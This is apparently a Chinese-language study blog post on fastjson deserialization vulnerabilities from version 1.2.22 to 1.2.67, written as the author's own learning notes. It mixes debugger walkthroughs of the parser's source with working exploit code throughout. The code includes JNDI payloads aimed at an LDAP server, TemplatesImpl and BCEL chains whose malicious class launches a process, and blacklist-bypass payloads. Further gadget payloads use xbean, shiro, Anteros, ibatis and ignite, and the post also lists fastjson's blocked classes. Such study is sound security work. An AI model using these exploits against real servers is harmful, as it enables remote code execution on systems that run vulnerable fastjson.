fastjson介绍
官方github地址:https://github.com/alibaba/fastjson
fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。
简单例子
用Json的toJSONString方法将pojo类转换成字符串
package org.clown.Test1;
import com.alibaba.fastjson.*; import com.alibaba.fastjson.serializer.SerializerFeature;
public class Student { private String name; private int age;
public Student() { System.out.println("Student构造函数"); }
public String getName() { return name; }
public void setName(String name) { this.name = name; }
public int getAge() { return age; }
public void setAge(int age) { this.age = age; }
public static void main(String[] args) { Student student = new Student(); student.setName("clown"); student.setAge(23333); System.out.println(JSON.toJSONString(student, SerializerFeature.WriteClassName)); System.out.println(JSON.toJSONString(student, SerializerFeature.WriteEnumUsingToString)); } }
|
这里的SerializerFeature.WriteClassName顾名思义就是指定序列化出来的字符串的格式,这里就是写出类名和键值对形式,更多的可以看源码尝试
JSON.parseObject将字符串转换回pojo
package org.clown.Test1;
import com.alibaba.fastjson.*; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.serializer.SerializerFeature;
public class Student { private String name; private int age;
public Student() { System.out.println("Student构造函数"); }
public String getName() { return name; }
public void setName(String name) { this.name = name; }
public int getAge() { return age; }
public void setAge(int age) { this.age = age; }
public static void main(String[] args) { Student student = new Student(); student.setName("clown"); student.setAge(23333); System.out.println(JSON.toJSONString(student, SerializerFeature.WriteClassName)); System.out.println(JSON.toJSONString(student, SerializerFeature.WriteEnumUsingToString)); Student obj = JSON.parseObject("{\"@type\":\"org.clown.Test1.Student\",\"age\":23333,\"name\":\"clown\"}", Student.class, Feature.SupportNonPublicField); System.out.println(obj); System.out.println(obj.getClass().getName()); System.out.println(obj.getName() + " " + obj.getAge()); } }
|
这里注意要写全类名不然会报错
这里的Feature.SupportNonPublicField顾名思义也是还原的特点,这里是还原私有属性
然后我们注意到这里转换成pojo对象时会调用构造函数,其实还会调用他的set和get方法,所以fastjson的反序列化指的并不是java原生的反序列化,而是他json转化的过程。
将代码改一下看一下效果
package org.clown.Test1;
import com.alibaba.fastjson.*; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.serializer.SerializerFeature;
public class Student { private String name; private int age;
public Student() { System.out.println("Student构造函数"); }
public String getName() { System.out.println("getName"); return name; }
public void setName(String name) { System.out.println("setName"); this.name = name; }
public int getAge() { System.out.println("getAge"); return age; }
public void setAge(int age) { System.out.println("setAge"); this.age = age; } public void setMap(String map){ System.out.println("setMap"); } public String getMap(){ System.out.println("getMap"); return null; }
public static void main(String[] args) { JSONObject obj = JSON.parseObject("{\"@type\":\"org.clown.Test1.Student\",\"age\":23333,\"name\":\"clown\",\"map\":\"ceshi\"}"); Student javaObject = obj.toJavaObject(Student.class); System.out.println("------------------"); Student obj1 = JSON.parseObject("{\"@type\":\"org.clown.Test1.Student\",\"age\":23333,\"name\":\"clown\"}", Student.class);
} }
|
可以看到转换的时候会再一次调用set方法,而且注意这里的map属性我是没有定义的,但要是我的json字符串里有map属性也会调用对应的方法,不过对应的java对象get回来的属性值就为null
这里copy一下y4✌的总结:https://github.com/Y4tacker/JavaSec/blob/main/3.FastJson%E4%B8%93%E5%8C%BA/Fastjson%E5%9F%BA%E6%9C%AC%E7%94%A8%E6%B3%95/Fastjson%E5%9F%BA%E6%9C%AC%E7%94%A8%E6%B3%95.md
- 当反序列化为
JSON.parseObject(*)
形式即未指定class时,会调用反序列化得到的类的构造函数、所有属性的getter方法、JSON里面的非私有属性的setter方法,其中properties属性的getter方法会被调用两次;
- 当反序列化为
JSON.parseObject(*,*.class)
形式即指定class时,只调用反序列化得到的类的构造函数、JSON里面的非私有属性的setter方法、properties属性的getter方法;
- 当反序列化为
JSON.parseObject(*)
形式即未指定class进行反序列化时得到的都是JSONObject类对象,而只要指定了class即JSON.parseObject(*,*.class)
形式得到的都是特定的Student类;
还有源码的调用分析不写了太臭太长了,看组长的视频已经要晕了,后面看链子的时候穿插着分析吧
这里还有一张调用类的关系图
JSON:门面类,提供入口
DefaultJSONParser:主类
ParserConfig:配置相关类
JSONLexerBase:字符分析类
JavaBeanDeserializer:JavaBean反序列化类
fastjson的利用的入口点就是对应的set或get方法的链子
Fastjson1.22-1.24 JNDI
基于JdbcRowSetImpl的利用链
他的触发点在**JdbcRowSetImpl#connect()**里面
payload:
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:9999/mQAZldWR\", \"autoCommit\":true}"; JSON.parse(payload);
|
这里payload用parse或者parseObject都能触发
这里还学到了用yakit直接搭建JNDI服务器,特别方便
配置一下payload就能直接用了
看一下利用链过程吧,这是从set方法打的,根据payload我们去看一下setAutoCommit方法,因为我们设置了autoCommit属性他就会走到这
这里conn一开始为空就会走到connect()方法
然后我们payload里面控制了一下dataSource属性值为恶意ldap服务器即可
调试一下执行流程
其实就是走一下前面没分析的反序列化的过程顺便调一下
因为要到toJSON方法才会调用get方法,前面直接到parse调用set方法触发更容易满足条件
一路跟进到这里
获取一个反序列化器,然后继续往里跟进
这里建立一个JavaBeanInfo类,里面就进行了对该类的各种字段和方法还有构造器的封装等,后面有链子需要利用到再详细说
然后继续跟进到执行lookup的地方
这里的getDataSourceName()我们可以控制
然后成功弹计算器。
不过jndi的打法有版本限制、依赖限制以及要出网
Fastjson1.22-1.24 TemplatesImpl
限制
该利用链需要设置Feature.SupportNonPublicField
才能成功触发
利用代码
写一个恶意类继承AbstractTranslet
package org.clown.Templates;
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Evil extends AbstractTranslet { public Evil() throws IOException { Runtime.getRuntime().exec("calc"); } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { } @Override public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) { } public static void main(String[] args) throws Exception { Evil t = new Evil(); } }
|
再写一个exp
package org.clown.Templates;
import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.*; import com.alibaba.fastjson.parser.ParserConfig;
import java.io.ByteArrayOutputStream; import java.io.FileInputStream; import java.util.Base64;
public class Exploit { public static String readClass(String cls){ byte[] buffer = null; try { FileInputStream fis = new FileInputStream(cls); ByteArrayOutputStream bos = new ByteArrayOutputStream(); byte[] b = new byte[1024]; int n; while((n = fis.read(b))!=-1) { bos.write(b,0,n); } fis.close(); bos.close(); buffer = bos.toByteArray(); }catch(Exception e) { e.printStackTrace(); } Base64.Encoder encoder = Base64.getEncoder(); String value = encoder.encodeToString(buffer); return value; }
public static void main(String args[]){ try { final String evilClassPath = System.getProperty("user.dir") + "\\target\\classes\\org\\clown\\Templates\\Evil.class"; System.out.println(evilClassPath); String evilCode = readClass(evilClassPath); final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; String payload = "{\"@type\":\"" + NASTY_CLASS + "\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'','_tfactory':{ },\"_outputProperties\":{ }," + "\"_version\":\"\"}\n";
JSON.parseObject(payload, Feature.SupportNonPublicField); } catch (Exception e) { e.printStackTrace(); } } }
|
执行结果
调用流程分析
Fastjson默认只会反序列化public修饰的属性,outputProperties和_bytecodes由private修饰,必须加入Feature.SupportNonPublicField
在parseObject中才能触发
现在parseObject下断点,然后跟进
继续跟进这个DefaultJSONParser方法
这里token赋的值为12,先记住
然后继续跟进parseObject方法
一路跟进到DefaultJSONParser的parse方法,继续往下
然后根据token为12代表”{“判断到这,我们跟进parseObject方法
进到这里遍历lexer的text属性里我们传的json字符串,一开始扫描到’”‘字符
然后就走到下面这里
然后取得key为@type
然后继续往下
这里的DEFAULT_TYPE_KEY就是@type,然后调用scanSymbol()获取到了@type对应的指定类com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
,并调用TypeUtils.loadClass()函数加载该类
继续往下
这里对类名进行了判断,涉及到后面新版本绕过黑名单的方法先留意一下
现在继续往下
这里通过AppClassLoader加载后put到mappings里面
返回后,程序继续回到DefaultJSONParser.parseObject()
中往下执行,在最后调用JavaBeanDeserializer.deserialze()
对目标类进行反序列化
关键利用链
来根据payload看一下关键的属性对应的set和get方法
"{\"@type\":\"" + NASTY_CLASS + "\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'','_tfactory':{ },\"_outputProperties\":{ }," + "\"_version\":\"\"}\n"
|
我们知道fastjson的JSON.parseObject会调用get和set方法,这里利用的是TemplatesImpl的get方法
然后后面其实就是cc链的动态类加载部分,链子如下:
TemplatesImpl#newTransformer()->TemplatesImpl#getTransletInstance()->TemplatesImpl#defineTransletClasses()->defineClass
|
然后回忆一下有些地方为什么要赋值
这里_tfactory要调用方法所以不能为空要赋值
这里要调用defineTransletClasses()方法所以_name!=null,_class==null后面就没有了
这里y4师傅的payload还带了一个version我不知道为什么,我去掉了也是能够正常弹计算器的
base64
再看一下为什么需要将字节码进行base64处理
这是因为FastJson提取byte[]数组字段值时会进行Base64解码,所以我们构造payload时需要对 _bytecodes
进行Base64处理
关于下划线的处理
是在这个地方的smartMatch函数
然后在这里将下划线进行了替换
Fastjson1.1.15-1.2.24与BCEL字节码加载
参考文章:BCEL ClassLoader去哪了 | 离别歌 (leavesongs.com),Java动态类加载,当FastJson遇到内网 – KINGX
这种和上面的TemplatesImpl链子打法都可以用于不出网的打法,不过比TemplatesImpl利用更广泛一点
这里我们还需要一个依赖
<dependency> <groupId>commons-dbcp</groupId> <artifactId>commons-dbcp</artifactId> <version>1.4</version> </dependency>
|
先给出只用parse就能触发的payload形式
{ { "@type": "com.alibaba.fastjson.JSONObject", "x":{ "@type": "org.apache.commons.dbcp.BasicDataSource", "driverClassLoader": { "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" }, "driverClassName": "$$BCEL$$$l$8b$I$A$..." } }: "x" }
|
利用代码:
Evil.java
package org.clown.BECL;
import java.io.IOException;
public class Evil { static{ try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { e.printStackTrace(); } } }
|
package org.clown.BECL;
import com.alibaba.fastjson.JSON; import com.sun.org.apache.bcel.internal.Repository; import com.sun.org.apache.bcel.internal.classfile.JavaClass; import com.sun.org.apache.bcel.internal.classfile.Utility;
import java.io.IOException;
public class demo1 { public static void main(String[] args) throws IOException { JavaClass cls = Repository.lookupClass(Evil.class); String code = Utility.encode(cls.getBytes(), true); System.out.println(code);
String payload="{\n" + " {\n" + " \"@type\": \"com.alibaba.fastjson.JSONObject\",\n" + " \"x\":{\n" + " \"@type\": \"org.apache.commons.dbcp.BasicDataSource\",\n" + " \"driverClassLoader\": {\n" + " \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" + " },\n" + " \"driverClassName\": \"$$BCEL$$"+code+"\"\n" + " }\n" + " }: \"x\"\n" + "}"; JSON.parse(payload); } }
|
利用链分析
去看一下BasicDataSource的源码中对应的关键方法
好吧想自己去看发现好像这个调用不太一样,这是会调用的set方法,文章的利用链如下:
BasicDataSource.getConnection() -> createDataSource() -> createConnectionFactory()
|
这是文章的解释:
按理说应该是不会调用到getConnection方法的,原PoC中很巧妙的利用了 JSONObject对象的 toString() 方法实现了突破。JSONObject是Map的子类,在执行toString() 时会将当前类转为字符串形式,会提取类中所有的Field,自然会执行相应的 getter 等方法。
首先,在 {“@type”: “org.apache.tomcat.dbcp.dbcp2.BasicDataSource”……} 这一整段外面再套一层{},反序列化生成一个 JSONObject 对象。
然后,将这个 JSONObject 放在 JSON Key 的位置上,在 JSON 反序列化的时候,FastJson 会对 JSON Key 自动调用 toString() 方法,于是乎就触发了BasicDataSource.getConnection()。
|
感觉文章讲得都有点怪,然后自己调了半天才找到确切位置,接下来分析也不知道正不正确,能说服我自己就好(
首先走到parseObject这里,然后一直往下
走到这会调用key的toString方法,这时候value为BasicDataSource的时候是关键我们跟进去看
然后到这个write方法,继续往下
然后进到一个Map的遍历里面,前面进行了一些操作将他转成了Map类型,继续往下
这里就是最后的方法了,对字段进行遍历
这里对每个field进行遍历,然后调用他们的get方法,这里遍历到connection就会调用我们提到的getConnection
最终成功调用,其实调的我还是有点不明不白,只能说大致知道
如果是parseObject的话,他会触发所有get和set方法,直接这种payload也可以:
{ "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource", "driverClassLoader": { "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" }, "driverClassName": "$$BCEL$$$l$8b......" }
|
除了上面的依赖还有一些适用更广泛的依赖,不过利用依旧是BasicDataSource类
在旧版本的 tomcat-dbcp 包中,对应的路径是 org.apache.tomcat.dbcp.dbcp.BasicDataSource
比如:6.0.53、7.0.81等版本
在Tomcat 8.0之后包路径有所变化,更改为了 org.apache.tomcat.dbcp.dbcp2.BasicDataSource
Fastjson1.2.25-1.2.41绕过
Fastjson在1.2.25版本就加入了黑白名单机制
这时候我们再去执行前面的exp就会爆出下面的错误
再去看ParserConfig里面可以看到很多类被加入了黑名单
bsh com.mchange com.sun. java.lang.Thread java.net.Socket java.rmi javax.xml org.apache.bcel org.apache.commons.beanutils org.apache.commons.collections.Transformer org.apache.commons.collections.functors org.apache.commons.collections4.comparators org.apache.commons.fileupload,org.apache.myfaces.context.servlet org.apache.tomcat org.apache.wicket.util org.codehaus.groovy.runtime org.hibernate org.jboss,org.mozilla.javascript org.python.core org.springframework
|
先给出绕过的payload
package org.clown.Templates;
import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.*; import com.alibaba.fastjson.parser.ParserConfig;
import java.io.ByteArrayOutputStream; import java.io.FileInputStream; import java.util.Base64;
public class Exploit1 { public static String readClass(String cls){ byte[] buffer = null; try { FileInputStream fis = new FileInputStream(cls); ByteArrayOutputStream bos = new ByteArrayOutputStream(); byte[] b = new byte[1024]; int n; while((n = fis.read(b))!=-1) { bos.write(b,0,n); } fis.close(); bos.close(); buffer = bos.toByteArray(); }catch(Exception e) { e.printStackTrace(); } Base64.Encoder encoder = Base64.getEncoder(); String value = encoder.encodeToString(buffer); return value; }
public static void main(String args[]){ try { final String evilClassPath = System.getProperty("user.dir") + "\\target\\classes\\org\\clown\\Templates\\Evil.class"; System.out.println(evilClassPath); String evilCode = readClass(evilClassPath); ParserConfig.getGlobalInstance().setAutoTypeSupport(true); final String NASTY_CLASS = "Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;"; String payload = "{\"@type\":\"" + NASTY_CLASS + "\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'','_tfactory':{ },\"_outputProperties\":{ }";
JSON.parseObject(payload, Feature.SupportNonPublicField); } catch (Exception e) { e.printStackTrace(); } } }
|
然后来看一下具体的绕过原理
先去看一下checkAutoType函数在哪里被调用
我们可以对比之前的版本来看,之前的版本是直接loadClass了,我们进到这个函数里面看看
这里我们如果设置了autoTypeSupport为true他就会去将我们的这个类去匹配白名单,匹配到了就loadClass
如果没匹配到就会进到下面黑名单的匹配
匹配到黑名单就会抛出异常autoType is not support
如果没有开启autoTypeSupport就会先匹配黑名单再匹配白名单
最后如果要是黑白名单都匹配不到,autoTypeSupport为true且expectClass不为null就直接loadClass
否则就不加载这个类了直接,我们payload最后进到的就是黑白名单都加载不到的loadClass,我们进loadClass方法里面看一下
这里就遇到了我们前面提到的用来绕过的地方
先看第一个箭头处的代码,如果类名的字符串以[开头,则说明该类是一个数组类型,需要递归调用loadClass方法来加载数组元素类型对应的class对象然后使用Array.newInstance方法来创建一个空数组对象,最后返回该数组对象的class对象
第二个箭头处的代码,如果类名的字符串以L开头并以;结尾,则说明该类是一个普通的Java类,需要把开头的L和结尾的;给去掉,然后递归调用loadClass
那其实就很清晰了,很容易就明白我们前面payload的绕过原理
不用[的原因是fastjson在前面已经判断过是否为数组了,实际走不到这一步
绕过就两步
- 开启autoTypeSupport
- L开头;结尾
不过这个参数要在服务端手动开启,默认为false启用白名单,有点不好利用我感觉
FastJson1.2.42
该版本修改了下面两点:
- 黑名单改为了hash值,防止绕过
- 对于传入的类名,删除开头
L
和结尾的;
笑死了,文章还没看完猜测是不是就提前校验删了一次,直接猜双写能不能绕过,结果真绕过去了🤣
看一下他的checkAutoType函数变化
总之这里就是对字符串进行了截取但只截取了一次
TemplatesImpl的exp如下:
package org.clown.Templates;
import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.*; import com.alibaba.fastjson.parser.ParserConfig;
import java.io.ByteArrayOutputStream; import java.io.FileInputStream; import java.util.Base64;
public class Exploit1 { public static String readClass(String cls){ byte[] buffer = null; try { FileInputStream fis = new FileInputStream(cls); ByteArrayOutputStream bos = new ByteArrayOutputStream(); byte[] b = new byte[1024]; int n; while((n = fis.read(b))!=-1) { bos.write(b,0,n); } fis.close(); bos.close(); buffer = bos.toByteArray(); }catch(Exception e) { e.printStackTrace(); } Base64.Encoder encoder = Base64.getEncoder(); String value = encoder.encodeToString(buffer); return value; }
public static void main(String args[]){ try { final String evilClassPath = System.getProperty("user.dir") + "\\target\\classes\\org\\clown\\Templates\\Evil.class"; System.out.println(evilClassPath); String evilCode = readClass(evilClassPath); ParserConfig.getGlobalInstance().setAutoTypeSupport(true); final String NASTY_CLASS = "LLcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;;"; String payload = "{\"@type\":\"" + NASTY_CLASS + "\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'','_tfactory':{ },\"_outputProperties\":{ }";
JSON.parseObject(payload, Feature.SupportNonPublicField); } catch (Exception e) { e.printStackTrace(); } } }
|
FastJson1.2.43
这个版本又是修改了checkAutoType函数,这次对于LL等开头结尾的字符串直接抛出异常
上面payload执行结果
看一下checkAutoType函数
这里直接就抛异常了
但是没有对[进行限制,可以通过[{来绕过,改后的exp如下
package org.clown.Templates;
import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.*; import com.alibaba.fastjson.parser.ParserConfig;
import java.io.ByteArrayOutputStream; import java.io.FileInputStream; import java.util.Base64;
public class Exploit2 { public static String readClass(String cls){ byte[] buffer = null; try { FileInputStream fis = new FileInputStream(cls); ByteArrayOutputStream bos = new ByteArrayOutputStream(); byte[] b = new byte[1024]; int n; while((n = fis.read(b))!=-1) { bos.write(b,0,n); } fis.close(); bos.close(); buffer = bos.toByteArray(); }catch(Exception e) { e.printStackTrace(); } Base64.Encoder encoder = Base64.getEncoder(); String value = encoder.encodeToString(buffer); return value; }
public static void main(String args[]){ try { final String evilClassPath = System.getProperty("user.dir") + "\\target\\classes\\org\\clown\\Templates\\Evil.class"; System.out.println(evilClassPath); String evilCode = readClass(evilClassPath); ParserConfig.getGlobalInstance().setAutoTypeSupport(true); final String NASTY_CLASS = "[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; String payload = "{\"@type\":\"" + NASTY_CLASS + "\"[{,\"_bytecodes\":[\""+evilCode+"\"],'_name':'','_tfactory':{ },\"_outputProperties\":{ }";
JSON.parseObject(payload, Feature.SupportNonPublicField); } catch (Exception e) { e.printStackTrace(); } } }
|
分析一下这个payload的原理,首先前面我们知道只加一个[是可以进入loadClass里面的,但是此时会json解析错误
这里说期待一个[但是在第七十一位置是’,’,就是TemplatesImpl后面那个逗号的位置
那我们就补上一个[
然后又说缺少一个{,那再补上去即可
不过怪怪的这就能解析成功了?😢
FastJson1.2.25-1.2.47通杀
影响版本
1.2.25-1.2.32:
未开启AutoTypeSupport时能成功利用,开启了反而不行
1.2.33-1.2.47:
无论是否开启AutoTypeSupport都能成功利用
其他的限制
基于RMI利用的JDK版本<=6u141、7u131、8u121,基于LDAP利用的JDK版本<=6u211、7u201、8u191
1.2.25<=Fastjson<=1.2.32
先给出exp,这里用的JdbcRowSetImpl的链子
import com.alibaba.fastjson.JSON;
public class Fastjson6 { public static void main(String[] args) throws Exception{ String payload = "{\n" + " \"a\":{\n" + " \"@type\":\"java.lang.Class\",\n" + " \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" + " },\n" + " \"b\":{\n" + " \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" + " \"dataSourceName\":\"ldap://127.0.0.1:9999/zoZdyoJH\",\n" + " \"autoCommit\":true\n" + " }\n" + "}"; JSON.parse(payload); } }
|
整体思路:通过java.lang.Class,将JdbcRowSetImpl类加载到Map中缓存,从而绕过AutoType的检测。因此将payload分两次发送,第一次加载,第二次执行。默认情况下,只要遇到没有加载到缓存的类,checkAutoType()就会抛出异常终止程序。
去看一下他的checkAutoType函数来分析一下
我们先从缓存中去获取这个类,然后为null直接到findClass这里,这里的缓存mapping在一开始的时候会自动执行静态代码块放一些类进去
然后遍历buckets,根据键值查找是否存在该类,这里是可以直接找到的,然后判断clazz不为空后直接返回
然后一路往下走到deserialize的地方
这里调用的是**MiscCodec.deserialze()**,走进去跟进
往下到这里,判断键值是否为val,是的话再提取val键对应的值赋给objVal变量,而objVal在后面会赋值给strVal变量
这里赋值了给strVal
然后继续往下
判断clazz是否为Class.class,然后到这里loadClass
load完之后就会放入缓存中
然后在扫描第二部分JSON数据的时候,由于我们的类已经被放在缓存中了,我们在前面的**TypeUtils.getClassFromMapping(typeName)**就能获取到clazz,然后直接返回
可以看到直接返回从而绕过了checkAutoType
然后如果开启了autoTypeSupport的话就会无法绕过前面的黑名单,所以开启了反而不行
1.2.33<=Fastjson<=1.2.47
这部分的版本开了autoTypeSupport是可以成功
未开启autoType时
这里就和前面一样就不用分析了
开启autoType时
这里checkAutoType改了一点地方
这里多了一个判断,需要**TypeUtils.getClassFromMapping(typeName)**返回为null才行,我们这里返回不为null自然也不会抛出异常
Fastjson1.2.48-1.2.68
这部分版本很多都是用黑名单绕过的利用方式,参考文章:https://www.anquanke.com/post/id/232774
Fastjson<=1.2.62
一样先给个payload
org.apache.xbean.propertyeditor.JndiConverter类的toObjectImpl()函数存在JNDI注入漏洞
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"ldap://127.0.0.1:9999/zoZdyoJH"};
|
exp如下:
package org.clown.JNDITest;
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.ParserConfig;
public class Advanced_Version { public static void main(String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String poc = "{\"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\",\"AsText\":\"ldap://127.0.0.1:9999/zoZdyoJH\"}"; JSON.parse(poc); } }
|
该利用方式还需要我们满足一些前置条件:
需要开启AutoType;
Fastjson <= 1.2.62;
JNDI注入利用所受的JDK版本限制;
目标服务端需要存在xbean-reflect包;
<dependency> <groupId>org.apache.xbean</groupId> <artifactId>xbean-reflect</artifactId> <version>4.18</version> </dependency>
|
调试分析
先根据payload看一下利用的点
看一下关键类JndiConverter的jndi利用点
那就是需要我们的set方法能够触发到该类,然后看payload可以知道是触发了一个setAsText方法,但是这个类没有,那就应该是在父类里面,我们可以往上查找调用类,最终是找到了一个AbstractConverter的类
他这里调用了toObject方法
然后调用了toObjectImpl方法,最终到我们执行jndi的地方
利用链的流程知道了,现在来看一下checkAutoType函数的流程,主要是看看他新增的逻辑,这里分析的是开启autoTypeSupport的时候
这里会先进到第一部分的黑白名单判断,由于该类不在黑白名单内就直接往下走
一路走到这个类,此时clazz为null且开启了autoTypeSupport,就直接loadClass,后面就是正常的反序列化流程了
未开启autoTypeSupport
他会进到这里的判断逻辑,也是正常的黑白名单校验直接过去,主要的是他会走到下面这个地方
这里会直接抛异常所以也就不会loadClass了
Fastjson1.2.66
该版本也是黑名单绕过,1.2.66涉及多条Gadget链,原理都是存在JDNI注入漏洞。
给出各链子的payload
org.apache.shiro.realm.jndi.JndiRealmFactory类PoC:
{"@type":"org.apache.shiro.realm.jndi.JndiRealmFactory", "jndiNames":["ldap://127.0.0.1:9999/xCxXLJwZ"], "Realms":[""]}
|
br.com.anteros.dbcp.AnterosDBCPConfig类PoC:
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://127.0.0.1:9999/xCxXLJwZ"} 或 {"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","healthCheckRegistry":"ldap://127.0.0.1:9999/xCxXLJwZ"}
|
com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig类PoC:
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://127.0.0.1:9999/xCxXLJwZ"}}
|
满足条件:
- 开启AutoType;
- Fastjson <= 1.2.66;
- JNDI注入利用所受的JDK版本限制;
- org.apache.shiro.jndi.JndiObjectFactory类需要shiro-core包;
- br.com.anteros.dbcp.AnterosDBCPConfig类需要Anteros-Core和Anteros-DBCP包;
- com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig类需要ibatis-sqlmap和jta包;
emmm我调试了一下1.2.62的payload,发现他的判断逻辑没有什么变化,只是把黑名单增加了应该是,所以直接在黑名单处被检测到然后抛出异常
所以autoType的部分就不分析了,就看各payload的利用链就好
org.apache.shiro.realm.jndi.JndiRealmFactory
先导入依赖
<dependency> <groupId>org.apache.shiro</groupId> <artifactId>shiro-core</artifactId> <version>1.8.0</version> </dependency>
|
exp:
package org.clown.JNDITest;
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.ParserConfig;
public class Shiro_Version { public static void main(String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String payload="{\"@type\":\"org.apache.shiro.realm.jndi.JndiRealmFactory\", \"jndiNames\":[\"ldap://127.0.0.1:9999/zoZdyoJH\"], \"Realms\":[\"\"]}"; JSON.parse(payload); } }
|
我们直接去看一下JndiRealmFactory这个类,发现他的getRealms方法存在JNDI注入
然后是遍历jndiNames来传入参数,所以这里payload设置一个jndiNames数组
get方法调用:
至于这里为什么调用get而不是set,也补充一下前面没有提到这个
还记得前面有对各种方法和字段遍历的JavaBeanInfo的封装吧
这个版本虽然改了一点,但不影响目前的分析,这个箭头所指的就是在遍历类的get方法,我们看一下执行了什么操作
这里对返回值的类型进行了判断,如果为符合的类型进到逻辑里面,我们这里传的是[]且get方法返回值为Collection符合返回值为Collection的情况所以会继续往下
然后如果类里面没有set方法就会走到这里遍历get方法的这一步,不然就会进入到上一步的continue,因为前面的一个遍历method是优先set方法,最后同样是add进了fieldList
然后跟进去newFieldInfo里面,这里要注意一个重要的属性getOnly
在这里面将getOnly赋值为了true
然后一路跟进最后会进到这个方法
此时getOnly已经为true,继续往下
最终走到这执行了get方法
所以总结执行get方法的条件(不过主要是针对用了parse方法而没用parseObject,因为parseObject本身就会连get一起执行):
parse他会去优先去匹配调用字段的set方法,如果没有set方法,就会去寻找字段的get方法且返回值要是Collection|Map|AtomicBoolean|AtomicInteger|AtomicLong
所以前面可能写的有点乱,因为写到这才真正调会get和set的调用😢
br.com.anteros.dbcp.AnterosDBCPConfig
导入依赖:
<dependency> <groupId>br.com.anteros</groupId> <artifactId>Anteros-Core</artifactId> <version>1.2.2</version> </dependency> <dependency> <groupId>br.com.anteros</groupId> <artifactId>Anteros-DBCP</artifactId> <version>1.0.1</version> </dependency>
|
exp:
package org.clown.JNDITest;
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.ParserConfig;
public class Anteros_Version { public static void main(String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String payload1="{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"metricRegistry\":\"ldap://127.0.0.1:9999/xCxXLJwZ\"}"; String payload2="{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"healthCheckRegistry\":\"ldap://127.0.0.1:9999/xCxXLJwZ\"}"; JSON.parse(payload1); } }
|
payload1分析
调用AnterosDBCPConfig#setMetricRegistry
然后调用AnterosDBCPConfig#getObjectOrPerformJndiLookup
这里存在jndi注入漏洞
payload2分析
调用AnterosDBCPConfig#setHealthCheckRegistry
调用AnterosDBCPConfig#getObjectOrPerformJndiLookup
这里存在jndi注入漏洞
这个Anteros看maven仓库用的人好少,感觉比较难碰到
com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig
导入依赖
<dependency> <groupId>org.apache.ibatis</groupId> <artifactId>ibatis-sqlmap</artifactId> <version>2.3.4.726</version> </dependency> <dependency> <groupId>javax.transaction</groupId> <artifactId>jta</artifactId> <version>1.1</version> </dependency>
|
exp:
package org.clown.JNDITest;
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.ParserConfig;
public class JTA_Version { public static void main(String[] args) { String payload="{\"@type\":\"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig\",\"properties\": {\"@type\":\"java.util.Properties\",\"UserTransaction\":\"ldap://127.0.0.1:9999/xCxXLJwZ\"}}"; ParserConfig.getGlobalInstance().setAutoTypeSupport(true); JSON.parse(payload); } }
|
利用链分析
首先调用到JtaTransactionConfig#setProperties方法
这里存在jndi漏洞,但是utxName获取为固定的键值,为Properties对象的UserTransaction
所以payload里的properties值的设置为Properties类然后加一个UserTransaction属性
Fastjson1.2.67
也是黑名单绕过,直接给payload,不想分析了(
这里的条件也是开启autoType
org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup
需要ignite-core、ignite-jta和jta依赖
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup", "jndiNames":["ldap://127.0.0.1:9999/xCxXLJwZ"], "tm": {"$ref":"$.tm"}}
|
<dependency> <groupId>org.apache.ignite</groupId> <artifactId>ignite-jta</artifactId> <version>2.9.0</version> </dependency> <dependency> <groupId>javax.transaction</groupId> <artifactId>jta</artifactId> <version>1.1</version> </dependency>
